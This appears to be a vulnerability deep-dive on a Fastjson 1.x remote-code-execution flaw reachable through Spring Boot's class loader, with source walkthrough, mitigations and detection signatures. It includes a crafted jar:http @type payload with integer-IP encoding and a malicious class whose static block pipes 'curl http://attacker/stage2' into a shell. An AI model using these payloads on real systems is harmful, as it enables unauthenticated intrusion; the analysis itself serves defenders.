Overview
CVE ID CVE-2026-16723 Affected Fastjson 1.2.68 – 1.2.83 (every 1.x release still receiving use) Preconditions Spring Boot executable fat-JAR,safeMode disabled (default), AutoType disabled (default)
Auth required
None (pre-authentication)
CVSS
9.0 (9.8 under some scoring authorities)
Patch
None — Alibaba has declared Fastjson 1.x EOL and points users to Fastjson2
What makes this one worth a deep dive: it fires even with AutoType disabled and with zero known gadget classes (no JdbcRowSetImpl, no FileSystemXmlApplicationContext, nothing on any blacklist). The attacker simply writes a brand-new class of their own, hosts it remotely, and abuses the exact mechanism Fastjson uses to check whether that class is “safe.”
1. The attack chain, end to end
Six steps, every one of them deterministic. No timing race, no memory corruption, nothing probabilistic.
-
Build
evil.jar— a trivial class annotated with@JSONType, with astatic { }block that callsRuntime.exec(). -
Host it over plain HTTP —
python3 -m http.serveris enough. No TLS required. -
Encode the attacker’s IP as a 32-bit integer —
192.168.1.100becomes3232235876. Section 3 explains why. -
Send the crafted JSON — POST
{"@type":"jar:http:..3232235876:8080.evil!.Evil"}to any endpoint that callsJSON.parseObject()on the body. -
Two separate remote fetches —
checkAutoType()pulls the class bytes over the network twice: once to inspect them, once to actually load them. -
<clinit>fires automatically — the moment the JVM defines the class, its static initializer runs and RCE is complete.
2. Why six rounds of hardening still missed this
Fastjson’s ParserConfig.checkAutoType() has been hardened repeatedly since CVE-2017-18349: blacklist introduction → FNV-1a rolling-hash upgrade → safeMode kill switch → expectClass tightening → the CVE-2022-25845 fix. By 1.2.83 this method was one of the most heavily audited pieces of code in the Java security world.
Every one of those rounds targeted the same thing: is the class name in @type a known dangerous gadget? The @JSONType annotation-trust branch was a different code path entirely — built on the assumption that “the developer put this annotation on their own class, so it’s trustworthy.” Nobody treated it as untrusted-input surface, because on its face it isn’t reading @type to decide what to instantiate — it’s just checking a metadata flag.
The problem: checking that flag requires fetching the class’s bytes, and Fastjson fetches them through the JVM’s class loader — which happily resolves jar:http:// URLs.
The first two gates (safeMode, hash blacklist) are pure name-shape filters. jar:http:..3232235876:8080.evil!.Evil doesn’t resemble a Java class name at all, so both gates pass it straight through. The real vulnerability lives in gates 3 and 4.
3. Source-level walkthrough
3.1 Gate 3 — the @JSONType detection branch (the actual bug)
Inside ParserConfig.java in Fastjson 1.2.83, once a type name clears the blacklist it runs through this logic (reconstructed here for readability, same control flow as the shipped 1.2.83 source):
// com.alibaba.fastjson.parser.ParserConfig#checkAutoType (1.2.83)
boolean jsonType = false;
InputStream is = null;
try {
// (A) Convert dotted Java package notation to slash-separated resource path
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
// (B) *** the first remote fetch happens right here ***
// if defaultClassLoader is Spring Boot's LaunchedURLClassLoader,
// it inherits URLClassLoader.getResourceAsStream() as-is
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
// (C) ASM's ClassReader only *parses* bytecode, it never executes it
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType(); // only checks for @JSONType presence
}
} catch (Exception e) {
// (D) exception is swallowed silently — this enables silent probing
} finally {
IOUtils.close(is);
}
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
// (E) *** the second remote fetch + real class loading happens here ***
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
Enter fullscreen mode Exit fullscreen mode
Point (B) is the actual primitive. getResourceAsStream() sounds like a safe, local-only lookup. But if defaultClassLoader is a URLClassLoader (or any subclass, which is exactly what Spring Boot’s fat-JAR loader is), that call will happily resolve a jar:http:// scheme, open a real HTTP connection to the attacker’s server, and hand back the downloaded bytes. ASM’s ClassReader not executing bytecode is a real safety property — but it only guarantees “we didn’t run the class.” It says nothing about “we didn’t fetch the class from an attacker-controlled host.”
A lot of early write-ups describe this as “load happens before the annotation check” — that’s not quite right. It’s a two-stage remote fetch: stage one (B–C) safely inspects the bytes without executing them, stage two (E) is the real, JVM-level class load. The attacker only needs stage one to succeed in order to get an outbound connection; once @JSONType is detected, stage two fires the actual RCE.
3.2 Gate 4 — TypeUtils.loadClass() and <clinit>
if (clazz != null) {
if (jsonType) {
if (autoTypeSupport) {
TypeUtils.addMapping(typeName, clazz);
}
return clazz; // @JSONType trust branch — skips every ClassLoader /
// DataSource / RowSet guard that comes after this point
}
// ... expectClass checks, ClassLoader/DataSource/RowSet guards ...
}
Enter fullscreen mode Exit fullscreen mode
By the time return clazz executes, the attack is already over. Inside TypeUtils.loadClass(), the call to defaultClassLoader.loadClass() → defineClass() triggers the JVM specification’s guarantee that a class’s <clinit> (static initializer) runs exactly once, the moment the class is prepared for use. Nothing in Fastjson can opt out of that — it’s a JVM-level contract, not an application-level convention.
The attacker’s Evil.class:
public class Evil {
static {
try {
Runtime.getRuntime().exec(new String[]{
"/bin/sh", "-c", "curl http://attacker/stage2 | sh"
});
} catch (Exception e) {}
}
}
Enter fullscreen mode Exit fullscreen mode
Nobody instantiates Evil. Nobody calls a method on it. Nobody even uses the returned Class<?> object. Loading the class is the entire attack.
3.3 Integer-IP encoding — surviving the . → / transform
Step (A) above, typeName.replace('.', '/'), exists to turn a normal class name like com.example.Foo into the resource path com/example/Foo. Because it’s applied to the entire string, any dot anywhere — including inside a dotted IP address — gets rewritten too.
A literal 192.168.1.100 would turn into the broken URL jar:http://192/168/1/100:8080/evil!/Evil. So attackers convert the IPv4 address into its 32-bit integer form instead, which contains no dots at all.
The math is straightforward:
(192 << 24) | (168 << 16) | (1 << 8) | 100 = 3232235876
Enter fullscreen mode Exit fullscreen mode
An integer host has no dots, so it passes through Fastjson’s replace() untouched, and java.net.URL decodes the integer host back to 192.168.1.100 the moment it opens the actual socket. This has been standard JDK behavior since at least Java 1.4 — it isn’t a JDK bug, just a side channel that happens to defeat Fastjson’s string transform.
3.4 Why jar:http:// even works — Spring Boot’s LaunchedURLClassLoader
The jar:<inner-url>!/<entry> URL scheme is a documented, standard JVM feature. When the inner URL is http://, the JVM fetches the JAR remotely and extracts the requested entry — a feature that dates back to Java Web Start and applet-era remote class loading.
Spring Boot’s fat-JAR launcher uses LaunchedURLClassLoader, which directly subclasses URLClassLoader. It’s the default class loader for essentially every java -jar myapp.jar deployment. When Fastjson calls defaultClassLoader.loadClass("jar:http://3232235876:8080/evil!/Evil"), the standard URLClassLoader machinery:
- Recognizes the
jar:protocol. - Extracts the inner URL
http://3232235876:8080/evil. - Opens an HTTP connection to that host.
-
GETs the JAR. - Locates the
Evil.classentry inside it. - Calls
defineClass()— registering and initializing the class.
Every single step here is standard, documented JVM behavior. Neither Fastjson’s design nor Spring Boot’s class loader is individually “wrong.” The actual defect is that Fastjson passes an attacker-controlled string straight into the class loader without ever asking “does this even look like a plausible Java class name?” A one-line regex whitelist — something like ^[a-zA-Z_$][a-zA-Z0-9_$.]*$ — applied before any class-loader call would have closed this entire bug class.
4. Mitigations
There’s no patch, so workarounds are the only lever available.
Option Effect Trade-off EnablesafeMode (-Dfastjson.parser.safeMode=true)
checkAutoType() throws unconditionally at the top of the method — blocks the entire path
Breaks any legitimate @type-based polymorphic deserialization
Switch to the 1.2.83_noneautotype artifact
AutoType is stripped at compile time
Same functional loss as safeMode
Migrate to Fastjson2
Architecturally closes the bug class
Real migration cost due to API differences
Block outbound network access from the JVM
The remote fetch simply fails
Not Fastjson-specific, but generalizes to the next bug in this pattern
safeMode is the only mitigation that’s unconditionally effective, because the throw happens at the very top of checkAutoType() — before gates 3 and 4 are ever reached. Blacklisting the literal string jar: at the WAF layer is not equivalent: it’s trivially defeated by Jar:, JAR : (with a space), or alternate inner protocols like jar:https:// or jar:ftp://.
Fastjson2 renamed the entry point entirely, to ObjectReaderProvider.autoType(). It checks an allowlist of known types before ever touching the class loader, and rejects anything not on it — so there’s no remote-fetch primitive reachable from an untrusted @type value in the first place.
5. Detection signatures
Wire-level
- Request bodies containing
"@type":"jar:in any casing or protocol variant (jar:http,jar:https,jar:ftp) - An
@typevalue whose “host” segment is a long run of digits followed by:port - An
@typevalue containing a double dot (..) — a strong signal of integer-IP encoding
Host-level
- Outbound HTTP
GETrequests for.jaror.classfiles to unexpected destinations -
Runtime.exec()-spawned child processes with ajava/jreparent - New files appearing in
/tmp(or the platform temp dir) within seconds of an inbound HTTP request
If your egress monitoring sees the first fetch (getResourceAsStream) but not the second (loadClass), that’s a strong signal of reconnaissance — an attacker confirming the path is reachable without delivering a real payload yet.



